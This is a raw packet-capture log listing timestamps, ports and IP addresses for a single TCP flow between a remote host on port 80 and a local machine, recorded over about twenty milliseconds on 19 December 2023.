Dec 19, 2023 03:22:23.061670065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.061723948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.061758995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.061762094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.061827898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.061866045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.061953068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062069893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062100887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.062151909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062212944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062247038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.062297106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062364101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062419891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.062453032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062546015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062577963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.062621117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062685966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062731028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.062758923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062813997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062850952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.062876940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.062994957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063039064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.063079119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063152075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063189030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.063497066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063586950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063627958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.063657999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063749075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063783884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.063811064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063877106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.063913107 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.063927889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067261934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067298889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.067342997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067404032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067437887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.067446947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067502975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067537069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.067560911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067606926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067643881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.067648888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067712069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067749023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.067755938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067797899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067831039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.067857981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067895889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.067930937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.067965031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068010092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068044901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068103075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068125963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068156004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068191051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068197012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068269968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068308115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068334103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068398952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068434954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068481922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068557978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068591118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068640947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068706036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068737984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068782091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068830967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068869114 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.068897009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068953991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.068986893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069010973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069061041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069089890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069119930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069175959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069209099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069227934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069246054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069282055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069309950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069371939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069413900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069432974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069467068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069500923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069505930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069614887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069631100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069650888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069672108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069705963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069726944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069766998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069788933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069802999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069884062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.069920063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.069952011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070004940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070036888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070036888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070070982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070105076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070152044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070178986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070214987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070266008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070344925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070373058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070384026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070434093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070467949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070487022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070532084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070569038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070597887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070641041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070673943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070729017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070765018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070791960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070799112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070815086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070851088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.070880890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.070943117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071017981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071028948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071115971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071155071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071182966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071224928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071263075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071291924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071326017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071360111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071386099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071402073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071436882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071465969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071532011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071568012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071602106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071660995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071696043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071737051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071753025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071788073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.071810961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.071988106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072022915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.072072983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072158098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072194099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.072236061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072320938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072356939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.072405100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072525024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072555065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.072624922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072746038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072779894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.072801113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072916985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.072952986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.073065042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073146105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073179960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.073235035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073324919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073357105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.073404074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073478937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073517084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.073575974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073663950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073699951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.073753119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073896885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.073929071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.073988914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074078083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074111938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.074176073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074239016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074274063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.074318886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074409962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074445009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.074498892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074584007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074618101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.074661016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074738979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074774981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.074842930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074930906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.074966908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.075021029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075102091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075135946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.075206041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075274944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075309992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.075364113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075438976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075468063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.075532913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075666904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075700998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.075752020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075846910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.075881958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.075927973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076014996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076050043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.076097965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076196909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076231003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.076294899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076355934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076390982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.076447010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076524973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076564074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.076606989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076667070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076704025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.076771021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076829910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.076916933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.077300072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.077402115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.077461004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.077490091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.077553034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.077608109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.077636003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.077721119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.077819109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.077841997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.077958107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078046083 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.078073978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078198910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078238964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.078263998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078357935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078407049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.078447104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078577995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078655958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078679085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.078737974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078790903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.078815937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078953981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.078996897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.079039097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079118967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079186916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079231024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.079309940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079348087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.079377890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079442024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079519987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.079540968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079608917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079652071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.079696894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079747915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079804897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.079853058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.079937935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080029011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080094099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.080104113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080144882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.080164909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080270052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080311060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.080396891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080475092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080513000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.080558062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080781937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080821991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.080852032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.080924988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081024885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081058025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.081132889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081171036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.081221104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081319094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081367970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.081427097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081494093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081581116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.081598043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081697941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081777096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081788063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.081924915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.081973076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.082031012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082108974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082149029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.082209110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082278013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082314014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.082371950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082439899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082501888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.082531929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082591057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082628965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.082689047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082777977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082818985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.082865953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.082950115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.083019972 CET	80	49738	91.215.85.17	192.168.2.4
